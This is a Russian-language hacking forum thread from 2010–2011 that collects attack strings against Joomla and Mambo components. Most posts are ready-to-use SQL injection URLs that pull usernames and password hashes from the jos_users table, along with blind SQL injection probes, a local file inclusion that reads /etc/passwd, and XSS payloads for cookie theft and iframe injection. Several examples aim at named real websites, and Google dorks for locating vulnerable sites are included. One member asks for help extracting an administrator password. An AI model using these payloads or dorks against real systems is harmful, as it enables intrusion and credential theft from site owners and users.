Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов

lzr · 27 May 2010

XSS vulnerability in JComments

Уязвимые верси: 2.1.0.0 [07/08/2009] и, возможно, ранние
Уведомление JoomlaTune.com: 4 Мая 2010
Тип уязвимости: XSS
Статус: исправлено JoomlaTune.com
Степень опасности: Средний
Детали уязвимости: пользователь может выполнить произвольный JS код в уязвимом приложении. Уязвимость возникает из-за неправильной идентификации пользователя в "admin.jcomments.php". Успешное проведение атаки с помощью данной уязвимости может привести к потере конфиденциальных данных и краже идентификационной информации в виде куков.

Атакующий может использовать браузер для проведения атаки:
Code:
<form method="POST" action="http://joomla/administrator/index.php" name="main">
<input type="hidden" name="name" value='ComntrName"><script>alert(document.cookie)</script>'>
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="comment" value="comment text">
<input type="hidden" name="published" value="1">
<input type="hidden" name="option" value="com_jcomments">
<input type="hidden" name="id" value="1">
<input type="hidden" name="task" value="save">
</form>
<script>
document.main.submit();
</script>
Решение: обновление к более поздней версии

(c)http://securityvulns.ru/Xdocument887.html

.:[melkiy]:. · 14 Jun 2010

com_elite_experts
исходников не нашел

Expl:

Code:

index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id=-38+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38+--+

Example:

Code:

http://www.razwod.ru/index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id=-38+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38+--+

Dopk:

Code:

inurl:"option=com_elite_experts"

//Вроде не боян...

f1ng3r · 15 Jun 2010

joomla image_com Blind Sql Injection

Dork

Code:

 inurl:"com_image"

Code

Code:

site/patch/index.php?option=com_image&view=[sqli]
site/patch/index.php?option=com_image&Itemid=87&gallery=[sqli]
site/patch/index.php?option=com_image&view=image&Itemid=[sqli]
site/patch/index.php?option=com_image&page=[sqli]

gars0n · 17 Jun 2010

Joomla Component com_feedpost XSS vulnerability

Dork

Code:

inurl:"feedpost.php?url="

XSS EXPLOIT

Code:

[COLOR=Cyan][B]HTML INJECTION:[/B][/COLOR] <iframe src=http://own.com/lol.html <
[COLOR=Cyan][B]ALERT XSS:[/B][/COLOR] <body onload=alert('xss')>
[COLOR=Cyan][B]GENERAL XSS:[/B][/COLOR] <body onload=JAVASCRIP_HERE>

VULN IN HERE

Code:

http://localhost/joomla/components/com_feedpostold/feedpost.php?url=[XSS]

Code:

[COLOR=Cyan][B]Examples:[/B][/COLOR]
http://localhost/joomla/components/com_feedpostold/feedpost.php?url=<iframe src=http://own.com/lol.html <
http://localhost/joomla/components/com_feedpostold/feedpost.php?url=<body onload=alert('Inj3ct0r.com')>

.:[melkiy]:. · 20 Jun 2010

Joomla Component com_content blind SQL-Injection vulnerability
Version: --
Exploit:

Code:

index.php?option=com_content&task=view&id=12+and+mid(version(),1,1)=5+--+&Itemid=3&&lang=ru -> true
index.php?option=com_content&task=view&id=12+and+mid(version(),1,1)=4+--+&Itemid=3&&lang=ru -> false

Example:

Code:

http://www.newdiagnostics.dn.ua/index.php?option=com_content&task=view&id=12+and+mid(version(),1,1)=5+--+&Itemid=3&&lang=ru -> true
http://www.newdiagnostics.dn.ua/index.php?option=com_content&task=view&id=12+and+mid(version(),1,1)=4+--+&Itemid=3&&lang=ru -> false

Kakoytoxaker · 20 Jun 2010

.:[melkiy]:.
Так не пойдёт

com_content это стандартный компонент, тоесть если-бы там была SQL считай что ты похекал интырнеты.

Так что просто

Version: --
Click to expand...

и без кода ненадо.

Или разбирайся почему на сайте работает, или давай код и версию.
Там старенькая на сайте версия, но учитывая популярность я на 99% уверен, что не могли такой баг пропустить в двиге, тем более в параметре ID

547 · 27 Jun 2010

1.5.0 Release Candidate 3 [LFI]

версию можно посмотреть двумя способами:
1)в файле configuration.php-dist:
@version $Id: configuration.php-dist 14401 2010-01-26 14:10:00Z louis $

2)в хтмл исходниках админки:
http://www.site.com/administrator/
<meta name="generator" content="Joomla! 1.5 - Open Source Content Management" />

теперь об уязвимости:
уязвимая функция require_once в компоненте com_jesubmit&view=,возможно провести LFI,
конструкция:
Code:
http://www.site.com/index.php?option=com_jesubmit&view=[LFI%00]
пример:
Code:
http://www.hillsborofreepress.com/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

Platon · 6 Aug 2010

Joomla Component com_phocagallery SQL injection Vulnerability

=============================================================
Joomla Component com_phocagallery SQL injection Vulnerability
=============================================================

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ########################################### 1
0 I'm **RoAd_KiLlEr** member from Inj3ct0r Team 1
1 ########################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+]Title Joomla Phoca Gallery Component com_phocagallery SQL-i Vulnerability
[+]Author **RoAd_KiLlEr**
[+]Contact RoAd_KiLlEr[at]Khg-Crew[dot]Ws
[+]Tested on Win Xp Sp 2/3
[+]Version 2.7.3
---------------------------------------------------------------------------
[~] Founded by **RoAd_KiLlEr**
[~] Team: Albanian Hacking Crew
[~] Contact: RoAd_KiLlEr[at]Khg-Crew[dot]Ws
[~] Home: http://a-h-crew.net
[~] Download App:http://joomlacode.org/gf/download/frsrelease/12532/52585/com_phocagallery_v2.7.3.zip
[~] Vendor: http://www.phoca.cz
==========ExPl0iT3d by **RoAd_KiLlEr**==========

[+]Description:
Phoca Gallery is a Joomla! gallery - image gallery for Joomla! CMS. It includes component, modules and plugins and allows users to display images or Youtube videos in many different styles.
=========================================

[+] Dork: inurl:"com_phocagallery"

==========================================

[+]. SQL-i Vulnerability
=+=+=+=+=+=+=+=+=+

[Exploit]: http://127.0.0.1/path/index.php?option=com_phocagallery&view=categories&Itemid=[SQL Injection]

===========================================================================================
[!] Albanian Hacking Crew
===========================================================================================
[!] **RoAd_KiLlEr**
===========================================================================================
[!] MaiL: sukihack[at]gmail[dot]com
===========================================================================================
[!] Greetz To : Ton![w]indowS | X-n3t | b4cKd00r ~ | DarKHackeR. | The|DennY` | EaglE EyE | Lekosta | KHG | THE_1NV1S1BL3 & All Albanian/Kosova Hackers
===========================================================================================
[!] Spec Th4nks: Inj3ct0r.com & r0073r | indoushka from Dz-Ghost Team | MaFFiTeRRoR | Sid3^effects | The_Exploited | And All My Friendz
===========================================================================================
[!] Red n'black i dress eagle on my chest
It's good to be an ALBANIAN
Keep my head up high for that flag I die
Im proud to be an ALBANIAN
===========================================================================================
Click to expand...

Народ кто подскажет как раскрутить эту SQL - нужно выудить пасс админа. Спасибо!

Keltos · 7 Aug 2010

Platon said:

Joomla Component com_phocagallery SQL injection Vulnerability

Народ кто подскажет как раскрутить эту SQL - нужно выудить пасс админа. Спасибо!
Click to expand...

Юзай сплойт

[Exploit]: http://127.0.0.1/path/index.php?option=com_phocagallery&view=categories&Itemid=[SQL Injection]
Click to expand...

Platon · 10 Aug 2010

Keltos - да, понимаю, просто пока я не столь подкован чтобы раскрутить самостоятельно SQL inj. - попросил помощи(составить запрос к SQL).

nakurukataоm · 8 Sep 2010

usasoft said:

1.5.10 - 1.5.15
Click to expand...

А точнее никак нельзя?=)

В общем если кому понадобиться, это версия 1.5.15

stmc · 27 Oct 2010

Code:
Joomla Component com_phocagallery SQL injection Vulnerability
сомнительная уязвимость, учитывая, что
Code:
$Itemid = JRequest::getInt( 'Itemid');

z0mbyak · 6 Dec 2010

Наверное надо оживить тему?-)

Компонент: com_storedirectory
Тип: Sql-Inj

Уязвимость в параметре id:

PoC:

http://www.cockburngateway.com.au/index.php?option=com_storedirectory&task=view&id=1+union+select+1,2,concat%28username,0x3a,password,0x3a,usertype%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+jos_users--

Metis · 6 Dec 2010

Joomla 1.5-xx

com_congratulations

index.php?option=com_congratulations&Itemid=1&task=date&y=2010&m=1+UNION+SELECT+AES_DECRYPT(AES_ENCRYPT(CONCAT((SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1,1)),0x71),0x71)--

http://school29.kurgan.cc/index.php?option=com_congratulations&Itemid=1&task=date&y=2010&m=1+UNION+SELECT+AES_DECRYPT(AES_ENCRYPT(CONCAT((SELECT+CONCAT_WS(0x3a,username,password)+FROM+jos_users+limit+1,1)),0x71),0x71)--

z0mbyak · 14 Dec 2010

SQL inj в компоненте com_jeformcr

Доброго времени суток

SQl-Inj в com_jeformcr

Уязвимый параметр: id

Подбор кол-ва колонок через order+by

PoC:

http://www.rcreventos.com.br/rcr/index.php?option=com_jeformcr&view=form&id=-1+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11+from+jos_users+where+usertype='Super%20Administrator'--

http://jrfu.org/index.php?option=com_jeformcr&view=form&id=-1+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11+from+jos_users+where+usertype='Super%20Administrator'--

JOSSe7 · 2 Jan 2011

Уязвимость: SQL Injection Vulnerability
Компонент: com_idoblog
Dork: inurl:"com_idoblog"
Language: php

http://extensions.joomla.org/extensions/news-production/blog/9218

Exploit:

http://www.site.com/index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1,2,concat%28username,0x3a,password,0x3a,email%29,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users--

usr-bin · 19 Jan 2011

Уязвимость: Blind SQL Injection Vulnerability
Компонент: allCineVid
Dork: inurl:"com_allcinevid"
Language: php

http://www.joomtraders.com

Exploit:

http://site/path/index.php?option=com_allcinevid&tmpl=component&id=1 and 1=1
http://site/path/index.php?option=com_allcinevid&tmpl=component&id=1 and 1=0

usr-bin · 24 Jan 2011

Уязвимость: Multiple SQL Injection Vulnerability
Компонент: Portfolio
Dork: inurl:"com_allcinevid"
Language: php

http://www.salvatorefresta.net

Exploit:

http://site/path/index.php?option=com_b2portfolio&c=-1 UNION SELECT 1,concat(username,0x34,password),3,4,5 FROM jos_users

foozzi · 15 Feb 2011

Joomla active XSS JFilterInput

Наличие эксплоита: Да
Активная XSS в Joomla версии 1.6 и более ранних. Уязвимость связана с недостаточной
фильтрацией входных данных в классе JFilterInput.
В версии 1.6, к примеру, можно проверить при включенном модуле Userrofile, вбив в поле About Me
следующий код:
Code:
<img src="<img src=x"/onerror=alert(1)//">
В остальных случаях и версиях данной уязвимости подвержен любой модуль который принимает данные от пользователя.

White Bear · 9 Apr 2011

(com_jce) BLIND sql injection vulnerability

Description:

JCE makes creating and editing Joomla!®
content easy Add a set of tools to your Joomla!® environment that give you the power to create the kind of content you want,
without limitations, and without needing to know or learn HTML, XHTML, CSS...

exploit & p0c

[!] index.php?option=com_jce&Itemid=[valid Itemid]

Example p0c

[!] http://host/index.php?option=com_jce&Itemid=8 <= True
[!] http://host/index.php?option=com_jce&Itemid=-8 <= False

Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов

lzr Member

.:[melkiy]:. Elder - Старейшина

f1ng3r [забытый полк]

gars0n Elder - Старейшина

.:[melkiy]:. Elder - Старейшина

Kakoytoxaker Elder - Старейшина

547 Active Member

Platon New Member

Keltos Banned

Platon New Member

nakurukataоm New Member

stmc New Member

z0mbyak Active Member

Metis Member

z0mbyak Active Member

JOSSe7 Banned

usr-bin New Member

usr-bin New Member

foozzi Member

White Bear New Member

Useful Searches

Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов

lzr Member

.:[melkiy]:. Elder - Старейшина

f1ng3r [забытый полк]

gars0n Elder - Старейшина

.:[melkiy]:. Elder - Старейшина

Kakoytoxaker Elder - Старейшина

547 Active Member

Platon New Member

Keltos Banned

Platon New Member

nakurukataоm New Member

stmc New Member

z0mbyak Active Member

Metis Member

z0mbyak Active Member

JOSSe7 Banned

usr-bin New Member

usr-bin New Member

foozzi Member

White Bear New Member